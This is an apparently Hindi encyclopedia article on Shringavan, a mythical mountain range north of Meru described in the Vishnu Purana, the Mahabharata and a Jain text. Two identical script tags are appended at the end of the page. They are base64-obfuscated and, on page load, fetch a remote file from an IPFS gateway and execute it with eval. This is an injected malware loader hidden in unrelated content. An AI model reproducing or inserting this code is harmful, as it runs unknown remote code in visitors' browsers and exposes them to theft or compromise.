श्रंगवान
श्रंगवान को विष्णु पुराण[1] में श्रंगी कहा गया है-‘नीलः श्वेतश्च श्रंगी च उत्तररे वर्षपर्वताः’।
- पौराणिक भूगोल के अनुसार मेरु के उत्तर की ओर एक पर्वत श्रेणी जो पूर्व-पश्चिम की ओर समुद्र तक विस्तृत है।
- महाभारत के अनुसार श्रंगवान के तीन शिखर हैं, एक मणिमय दूसरा सुवर्णमय और तीसरा सर्वरत्नमय है।
- वहाँ स्वयंप्रभा देवी नित्य निवास करती हैं।
- श्रंगवान के उत्तर समुद्र के निकट ऐरावतवर्ष है जहाँ सूर्य तापरहित है।
- वहां के मनुष्य कभी बूढ़े नहीं होते -
‘श्रंगाणि च विचित्राणि त्रीण्येव मनुजाधिप, एकं मणिमयं तत्र तथैकं रौक्ममद्भुतम, सर्वरत्नमयं चैकं भवनैरुपशोभितम्।
तत्र स्वयं प्रभादेवी नित्यं वसति शांडिली, उत्तरणतु श्रंगस्य समुद्रान्ते जनाधिप।
वर्षमैरावतं नाम तस्माच्छंगमतः परम्, न तत्र सूर्यस्तपति न जीर्यन्ते च मानवाः’।[2]
- जैन ग्रंथ जंबूद्वीप-प्रज्ञप्ति में श्रंगवान की जंबूद्वीप के 6 वर्ष पर्वतों में गणना की गई है।
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>